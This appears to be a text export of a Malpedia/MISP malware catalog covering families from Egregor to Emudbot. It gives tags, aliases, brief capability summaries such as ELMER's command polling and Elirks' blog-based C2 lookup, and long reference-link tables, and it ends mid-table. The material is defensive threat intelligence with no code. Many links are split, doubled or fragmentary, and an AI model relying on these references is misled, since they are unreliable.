https://malpedia.caad.fkie.fraunhofer.de/details/win.egregor
https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/
https://blog.malwarebytes.com/ransomware/2020/12/threat-profile-egregor-ransomware-is-making-a-name-for-itself/
https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html
https://therecord.media/frances-lead-cybercrime-investigator-on-the-egregor-arrests-cybercrime/
https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel
https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html
https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide
https://www.group-ib.com/blog/egregor
<table>
<thead>
<tr>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.intrinsec.com/egregor-prolock/">https://www.intrinsec.com/egregor-prolock/</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware">https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware</a></td>
</tr>
<tr>
<td><a href="https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/">https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/09/egregor-ransomware.html">https://id-ransomware.blogspot.com/2020/09/egregor-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis">https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/egregor-ransomware-courses-of-action/">https://unit42.paloaltonetworks.com/egregor-ransomware-courses-of-action/</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/">https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/</a></td>
</tr>
<tr>
<td><a href="https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/">https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/</a></td>
</tr>
<tr>
<td><a href="https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/">https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/</a></td>
</tr>
</tbody>
</table>
EHDDevel

The tag is: misp-galaxy:malpedia="EHDDevel"

EHDDevel is also known as:

Table 2970. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.ehdevel

Ekipa RAT

The tag is: misp-galaxy:malpedia="Ekipa RAT"

Ekipa RAT is also known as:

Table 2971. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.ekipa

ELECTRICFISH

The application is a command-line utility and its primary purpose is to tunnel traffic between two IP addresses. The application accepts command-line arguments allowing it to be configured with a destination IP address and port, a source IP address and port, a proxy IP address and port, and a user name and password, which can be utilized to authenticate with a proxy server. It will attempt to establish TCP sessions with the source IP address and the destination IP address. If a connection is made to both the source and destination IPs, this malicious utility will implement a custom protocol, which will allow traffic to rapidly and efficiently be tunneled between two machines. If necessary, the malware can authenticate with a proxy to be able to reach the destination IP address. A configured proxy server is not required for this utility.

The tag is: misp-galaxy:malpedia="ELECTRICFISH"

ELECTRICFISH is also known as:
ElectricPowder

The tag is: misp-galaxy:malpedia="ElectricPowder"

ElectricPowder is also known as:

Elirks

Elirks is a basic backdoor Trojan, first discovered in 2010, that is primarily used to steal information from compromised systems. Mostly attacks using Elirks occurring in East Asia. One of the unique features of the malware is that it retrieves its C2 address by accessing a pre-determined microblog service or SNS. Attackers create accounts on those services and post encoded IP addresses or the domain names of real C2 servers in advance of distributing the backdoor. Multiple Elirks variants using Japanese blog services for the last couple of years.

The tag is: misp-galaxy:malpedia="Elirks"

Elirks is also known as:
Elise

The tag is: misp-galaxy:malpedia="Elise"

Elise is also known as:

- EVILNEST

Table 2975. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.elise">https://malpedia.caad.fkie.fraunhofer.de/details/win.elise</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-elgin">https://www.secureworks.com/research/threat-profiles/bronze-elgin</a></td>
</tr>
<tr>
<td><a href="https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries">https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/blog/research/70726/the-spring-dragon-apt/">https://securelist.com/blog/research/70726/the-spring-dragon-apt/</a></td>
</tr>
<tr>
<td><a href="https://www.joesecurity.org/blog/8409877569366580427">https://www.joesecurity.org/blog/8409877569366580427</a></td>
</tr>
<tr>
<td><a href="https://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/">https://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/</a></td>
</tr>
</tbody>
</table>

ElizaRAT

The tag is: misp-galaxy:malpedia="ElizaRAT"

ElizaRAT is also known as:

Table 2976. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.eliza_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.eliza_rat</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/peek-apt36-s-updated-arsenal">https://www.zscaler.com/blogs/security-research/peek-apt36-s-updated-arsenal</a></td>
</tr>
</tbody>
</table>
El Machete APT Backdoor Dropper

This dropper masquerades itself as Adobe software, titled as Adobe.msi. It is used to executes the python written Backdoor used by this threat actor.

The tag is: `misp-galaxy:malpedia="El Machete APT Backdoor Dropper"`

El Machete APT Backdoor Dropper is also known as:

Table 2977. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.elmachete_dropper_2022">https://malpedia.caad.fkie.fraunhofer.de/details/win.elmachete_dropper_2022</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/">https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/</a></td>
</tr>
</tbody>
</table>

ELMER

ELMER is a non-persistent proxy-aware HTTP backdoor written in Delphi, and is capable of performing file uploads and downloads, file execution, and process and directory listings. To retrieve commands, ELMER sends HTTP GET requests to a hard-coded CnC server, and parses the HTTP response packets received from the CnC server for an integer string corresponding to the command that needs to be executed.

The tag is: `misp-galaxy:malpedia="ELMER"`

ELMER is also known as:

- Elmost

Table 2978. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.elmer">https://malpedia.caad.fkie.fraunhofer.de/details/win.elmer</a></td>
</tr>
<tr>
<td><a href="https://cybergeeks.tech/a-detailed-analysis-of-elmer-backdoor-used-by-apt16/">https://cybergeeks.tech/a-detailed-analysis-of-elmer-backdoor-used-by-apt16/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0064">https://attack.mitre.org/software/S0064</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0023">https://attack.mitre.org/groups/G0023</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html">https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html</a></td>
</tr>
</tbody>
</table>

Emdivi

The tag is: `misp-galaxy:malpedia="Emdivi"`

Emdivi is also known as:

Table 2979. Table References
Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.emdivi

Emissary

The tag is: `misp-galaxy:malpedia="Emissary"`

Emissary is also known as:

Table 2980. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.emissary">https://malpedia.caad.fkie.fraunhofer.de/details/win.emissary</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/">https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/</a></td>
</tr>
</tbody>
</table>

Emotet

While Emotet historically was a banking malware organized in a botnet, nowadays Emotet is mostly seen as infrastructure as a service for content delivery. For example, since mid 2018 it is used by Trickbot for installs, which may also lead to ransomware attacks using Ryuk, a combination observed several times against high-profile targets. It is always stealing information from victims but what the criminal gang behind it did, was to open up another business channel by selling their infrastructure delivering additional malicious software. From malware analysts it has been classified into epochs depending on command and control, payloads, and delivery solutions which change over time. Emotet had been taken down by authorities in January 2021, though it appears to have sprung back to life in November 2021.

The tag is: `misp-galaxy:malpedia="Emotet"`

Emotet is also known as:

- Geodo
- Heodo

Table 2981. Table References
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet">https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet</a></td>
</tr>
<tr>
<td><a href="https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html">https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf">https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.jpcert.or.jp/english/at/2019/at190044.html">https://www.jpcert.or.jp/english/at/2019/at190044.html</a></td>
</tr>
<tr>
<td><a href="https://cofense.com/flash-bulletin-emotet-epoch-1-changes-c2-communication/">https://cofense.com/flash-bulletin-emotet-epoch-1-changes-c2-communication/</a></td>
</tr>
<tr>
<td><a href="https://marcoramilli.com/2019/10/14/is-emotet-gang-targeting-companies-with-external-soc/">https://marcoramilli.com/2019/10/14/is-emotet-gang-targeting-companies-with-external-soc/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=5_oR_135ss">https://www.youtube.com/watch?v=5_oR_135ss</a></td>
</tr>
<tr>
<td><a href="https://hs5pcayhbbhvj8di5sqdpbbd88tsh89">https://hs5pcayhbbhvj8di5sqdpbbd88tsh89</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/emotet-malware-summary-epoch-4-5/">https://unit42.paloaltonetworks.com/emotet-malware-summary-epoch-4-5/</a></td>
</tr>
<tr>
<td><a href="https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/">https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/</a></td>
</tr>
<tr>
<td><a href="https://muha2xmad.github.io/unpacking/emotet-part-2/">https://muha2xmad.github.io/unpacking/emotet-part-2/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns">https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns</a></td>
</tr>
<tr>
<td><a href="https://blogs.cisco.com/security/emotet-is-back">https://blogs.cisco.com/security/emotet-is-back</a></td>
</tr>
<tr>
<td><a href="https://www.bitsight.com/blog/emotet-smb-spreader-back">https://www.bitsight.com/blog/emotet-smb-spreader-back</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/">https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/</a></td>
</tr>
<tr>
<td><a href="https://hatching.io/blog/powershell-analysis">https://hatching.io/blog/powershell-analysis</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation">https://www.justice.gov/opa/pr/emotet-botnet-disrupted-international-cyber-operation</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/28044">https://isc.sans.edu/diary/28044</a></td>
</tr>
<tr>
<td><a href="https://www.ironnet.com/blog/detecting-a-mummyspider-campaign-and-emotet-infection">https://www.ironnet.com/blog/detecting-a-mummyspider-campaign-and-emotet-infection</a></td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html">https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/rss/28254">https://isc.sans.edu/diary/rss/28254</a></td>
</tr>
<tr>
<td><a href="https://blogs.vmware.com/networkvirtualization/2022/01/emotet-is-not-dead-yet.html/">https://blogs.vmware.com/networkvirtualization/2022/01/emotet-is-not-dead-yet.html/</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/emotet-takedown-2021/">https://intel471.com/blog/emotet-takedown-2021/</a></td>
</tr>
<tr>
<td><a href="https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/">https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-droppers/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2023/07/06/whats-up-with-emotet/">https://www.welivesecurity.com/2023/07/06/whats-up-with-emotet/</a></td>
</tr>
<tr>
<td><a href="https://blog.vincss.net/2021/01/re019-from-a-to-x-analyzing-some-real-cases-which-used-recent-Emotet-samples.html">https://blog.vincss.net/2021/01/re019-from-a-to-x-analyzing-some-real-cases-which-used-recent-Emotet-samples.html</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/emotet-spreading-malicious-excel-files/178444/">https://threatpost.com/emotet-spreading-malicious-excel-files/178444/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/emotet-command-and-control/">https://unit42.paloaltonetworks.com/emotet-command-and-control/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-crestwood">https://www.secureworks.com/research/threat-profiles/gold-crestwood</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>-------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.picussecurity.com/blog/emotet-technical-analysis-part-2-powershell-unveiled">https://www.picussecurity.com/blog/emotet-technical-analysis-part-2-powershell-unveiled</a></td>
</tr>
<tr>
<td><a href="https://www.cronup.com/la-botnet-de-emotet-reinicia-ataques-en-chile-y-latinoamerica/">https://www.cronup.com/la-botnet-de-emotet-reinicia-ataques-en-chile-y-latinoamerica/</a></td>
</tr>
<tr>
<td><a href="https://https://isc.sans.edu/diary/rss/27036">https://https://isc.sans.edu/diary/rss/27036</a></td>
</tr>
<tr>
<td><a href="https://https://therecord.media/over-780000-email-accounts-compromised-by-emotet-have-been-secured/">https://https://therecord.media/over-780000-email-accounts-compromised-by-emotet-have-been-secured/</a></td>
</tr>
<tr>
<td><a href="https://https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html">https://https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html</a></td>
</tr>
<tr>
<td><a href="https://https://www.youtube.com/watch?v=AkZSTYBqcU4">https://https://www.youtube.com/watch?v=AkZSTYBqcU4</a></td>
</tr>
<tr>
<td><a href="https://https://unit42.paloaltonetworks.com/domain-parking/">https://https://unit42.paloaltonetworks.com/domain-parking/</a></td>
</tr>
<tr>
<td><a href="https://https://medium.com/@IIandu/emotet-unpacking-35bbe2980cfb">https://https://medium.com/@IIandu/emotet-unpacking-35bbe2980cfb</a></td>
</tr>
</tbody>
</table>

1241
<table>
<thead>
<tr>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.netskope.com/blog/netskope-threat-coverage-the-return-of-">https://www.netskope.com/blog/netskope-threat-coverage-the-return-of-</a></td>
</tr>
<tr>
<td>emotet</td>
</tr>
<tr>
<td><a href="https://hello.global.ntt/en-us/insights/blog/emotet-disruption-euro">https://hello.global.ntt/en-us/insights/blog/emotet-disruption-euro</a></td>
</tr>
<tr>
<td>pol-counterattack</td>
</tr>
<tr>
<td><a href="https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-expl">https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-expl</a></td>
</tr>
<tr>
<td>osiver-Malware-Cocktail-4573848.html</td>
</tr>
<tr>
<td>t-analysis-new-lnk-in-the-infection-chain</td>
</tr>
<tr>
<td><a href="https://www.gdatasoftware.com/blog/2022/01/malware-vaccines">https://www.gdatasoftware.com/blog/2022/01/malware-vaccines</a></td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/cyber-security/assetscyber-threats-2019-retro">https://www.pwc.co.uk/cyber-security/assetscyber-threats-2019-retro</a></td>
</tr>
<tr>
<td>spect.pdf</td>
</tr>
<tr>
<td>er-and-writing-a-python-script-to-statically-unpack-payload/</td>
</tr>
<tr>
<td><a href="https://www.zdnet.com/article/the-malware-that-usually-installs-ran">https://www.zdnet.com/article/the-malware-that-usually-installs-ran</a></td>
</tr>
<tr>
<td>somware-and-you-need-to-remove-right-away/</td>
</tr>
<tr>
<td><a href="https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emote">https://www.cynet.com/attack-techniques-hands-on/new-wave-of-emote</a></td>
</tr>
<tr>
<td>t-when-project-x-turns-into-y/</td>
</tr>
<tr>
<td><a href="https://blog.lumen.com/emotet-redux/">https://blog.lumen.com/emotet-redux/</a></td>
</tr>
<tr>
<td><a href="https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6c">https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6c</a></td>
</tr>
<tr>
<td>e925a5688f61/Microsoft_Digital_Defense_Report_2020_Sep.pdf</td>
</tr>
<tr>
<td><a href="https://www.digitalshadows.com/blog-and-research/emotet-disruption/">https://www.digitalshadows.com/blog-and-research/emotet-disruption/</a></td>
</tr>
<tr>
<td>nstalls-via-powershell-in-windows-shortcut-files/</td>
</tr>
<tr>
<td>so-much</td>
</tr>
<tr>
<td>et-con-python-e-iced-x86/</td>
</tr>
<tr>
<td><a href="https://www.atomicmatryoshka.com/post/malware-headliners-emotet">https://www.atomicmatryoshka.com/post/malware-headliners-emotet</a></td>
</tr>
<tr>
<td>increases-downloads/</td>
</tr>
<tr>
<td><a href="https://blog.nviso.eu/2022/03/23/hunting-emotet-campaigns-with-kus">https://blog.nviso.eu/2022/03/23/hunting-emotet-campaigns-with-kus</a></td>
</tr>
<tr>
<td>to/</td>
</tr>
<tr>
<td><a href="https://strapi.eurepoc.eu/uploads/Eu_Repo_C_APT_profile_Coni_Wizar">https://strapi.eurepoc.eu/uploads/Eu_Repo_C_APT_profile_Coni_Wizar</a></td>
</tr>
<tr>
<td>d_Spider_dc2a733e18.pdf</td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-201A">https://www.us-cert.gov/ncas/alerts/TA18-201A</a></td>
</tr>
<tr>
<td><a href="https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_Septembe">https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_Septembe</a></td>
</tr>
<tr>
<td>r_2021.pdf</td>
</tr>
<tr>
<td><a href="https://pl-v.github.io/plv/posts/Emotet-unpacking/">https://pl-v.github.io/plv/posts/Emotet-unpacking/</a></td>
</tr>
<tr>
<td><a href="https://www.seqrite.com/blog/the-return-of-the-emotet-as-the-world">https://www.seqrite.com/blog/the-return-of-the-emotet-as-the-world</a></td>
</tr>
<tr>
<td>unlocks/</td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a</a></td>
</tr>
<tr>
<td>service-understanding-the-cybercrime-gig-economy-and-how-to-protec</td>
</tr>
<tr>
<td>t-yourself</td>
</tr>
<tr>
<td><a href="https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-r">https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-r</a></td>
</tr>
<tr>
<td>ansomware</td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/emotet-switches-toonenote/">https://blog.talosintelligence.com/emotet-switches-toonenote/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/emotet-thread-hijacking/">https://unit42.paloaltonetworks.com/emotet-thread-hijacking/</a></td>
</tr>
<tr>
<td>cting-emotet-part-two-596128</td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://persianov.net/emotet-malware-analysis-part-1">https://persianov.net/emotet-malware-analysis-part-1</a></td>
</tr>
<tr>
<td><a href="https://de.darktrace.com/blog/emotet-resurgence-cross-industry-campaign-analysis">https://de.darktrace.com/blog/emotet-resurgence-cross-industry-campaign-analysis</a></td>
</tr>
<tr>
<td><a href="https://muha2xmad.github.io/unpacking/emotet-part-1/">https://muha2xmad.github.io/unpacking/emotet-part-1/</a></td>
</tr>
<tr>
<td><a href="https://cofense.com/blog/emotet-sending-malicious-emails-after-three-month-hiatus/">https://cofense.com/blog/emotet-sending-malicious-emails-after-three-month-hiatus/</a></td>
</tr>
<tr>
<td><a href="https://www.binarydefense.com/emotet-wi-fi-spreader-upgraded/">https://www.binarydefense.com/emotet-wi-fi-spreader-upgraded/</a></td>
</tr>
<tr>
<td><a href="https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them">https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=q8of74upT_g">https://www.youtube.com/watch?v=q8of74upT_g</a></td>
</tr>
<tr>
<td><a href="https://www.advintel.io/post/corporate-loader-emotet-history-of-x-project-return-for-ransomware">https://www.advintel.io/post/corporate-loader-emotet-history-of-x-project-return-for-ransomware</a></td>
</tr>
<tr>
<td><a href="https://quickheal.co.in/documents/technical-paper/Whitepaper_HowToPM.pdf">https://quickheal.co.in/documents/technical-paper/Whitepaper_HowToPM.pdf</a></td>
</tr>
<tr>
<td>&lt;a href=&quot;https://www.youtube.com/watch?v=EyDiiAt&amp;em=dl&quot;&gt;<a href="https://www.youtube.com/watch?v=EyDiiAt">https://www.youtube.com/watch?v=EyDiiAt</a>&lt;/em&gt;&amp;dl&lt;/a&gt;</td>
</tr>
<tr>
<td><a href="https://notes.netbytesec.com/2022/02/technical-malware-analysis-return-of.html">https://notes.netbytesec.com/2022/02/technical-malware-analysis-return-of.html</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://persianov.net/emotet-malware-analysis-part-2">https://persianov.net/emotet-malware-analysis-part-2</a></td>
</tr>
<tr>
<td><a href="https://intezerv.net/emotet-malware-analysis-part-2">https://intezerv.net/emotet-malware-analysis-part-2</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/research/how-hackers-use-binary-padding-to-outsmart-sandboxes/">https://www.fortinet.com/blog/research/how-hackers-use-binary-padding-to-outsmart-sandboxes/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/bad-actors-capitalize-current-events-email-scams">https://www.fortinet.com/blog/threat-research/bad-actors-capitalize-current-events-email-scams</a></td>
</tr>
<tr>
<td><a href="https://infosecwriteups.com/unpacking-emotet-trojan-dac7e6119a0a">https://infosecwriteups.com/unpacking-emotet-trojan-dac7e6119a0a</a></td>
</tr>
<tr>
<td><a href="https://www.securityartwork.es/2021/06/16/analisis-campana-emotet/">https://www.securityartwork.es/2021/06/16/analisis-campana-emotet/</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/mitigating-emotet-the-most-common-banking-trojan/">https://www.intezer.com/mitigating-emotet-the-most-common-banking-trojan/</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2021/01/international-action-targets-emotet-crimeware">https://krebsonsecurity.com/2021/01/international-action-targets-emotet-crimeware</a></td>
</tr>
<tr>
<td><a href="https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/">https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/c2-traffic/">https://unit42.paloaltonetworks.com/c2-traffic/</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/">https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/</a></td>
</tr>
<tr>
<td><a href="https://cyber.wtf/2022/03/23/what-the-packer/">https://cyber.wtf/2022/03/23/what-the-packer/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ContiLeaks/status/1498614197202079745">https://twitter.com/ContiLeaks/status/1498614197202079745</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/conti-emotet-ransomware-conti-leaks">https://intel471.com/blog/conti-emotet-ransomware-conti-leaks</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=_BLOmClsSpc">https://www.youtube.com/watch?v=_BLOmClsSpc</a></td>
</tr>
</tbody>
</table>
https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html
https://isc.sans.edu/forums/diary/Emotet%20infection%20with%20Cobalt%20Strike/28824/
https://medium.com/@Ilandu/emotet-campaign-6f240f7a5ed5
https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/
https://medium.com/@0xd0cf11e/analyzing-emotet-with-ghidra-part-1-4da71a5c8d69
https://exchange.xforce.ibmcloud.com/collection/18f373debc38779065a26f1958dc260b
https://www.bka.de/DE/Presse/Listenseite_Pressemitteilungen/2021/Presse2021/210127_pmEmotet.html
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/
https://twitter.com/Cryptolaemus1/status/1516535343281025032
https://github.com/cecio/EMOTET-2020-Reversing
https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/
https://adalogics.com/blog/the-state-of-advanced-code-injections
Empire Downloader

The tag is: misp-galaxy:malpedia="Empire Downloader"

Empire Downloader is also known as:

Table 2982. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.empire_downloader
https://unit42.paloaltonetworks.com/atoms/obscurereserps/
https://www.secureworks.com/research/threat-profiles/gold-heron
https://www.secureworks.com/research/threat-profiles/bronze-firestone
Emudbot

Supposedly a worm that was active around 2012-2013.

The tag is: `misp-galaxy:malpedia="Emudbot"`

Emudbot is also known as:

Table 2983. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.emudbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.emudbot</a></td>
</tr>
<tr>
<td><a href="https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/looking-over-the-nation-state-">https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/looking-over-the-nation-state-</a></td>
</tr>
<tr>
<td>actors-shoulders.html</td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-drake">https://www.secureworks.com/research/threat-profiles/gold-drake</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-ulrick">https://www.secureworks.com/research/threat-profiles/gold-ulrick</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html">https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-275a">https://us-cert.cisa.gov/ncas/alerts/aa20-275a</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/">https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-atlas">https://www.secureworks.com/research/threat-profiles/bronze-atlas</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0096">https://attack.mitre.org/groups/G0096</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/media/12596/download">https://www.mandiant.com/media/12596/download</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-heron">http://www.secureworks.com/research/threat-profiles/gold-heron</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-249a">https://www.cisa.gov/uscert/ncas/alerts/aa22-249a</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/thor_scanner/status/992036762515050496">https://twitter.com/thor_scanner/status/992036762515050496</a></td>
</tr>
<tr>
<td><a href="https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware">https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-burlap">http://www.secureworks.com/research/threat-profiles/gold-burlap</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/getsystem-offsec/">https://redcanary.com/blog/getsystem-offsec/</a></td>
</tr>
<tr>
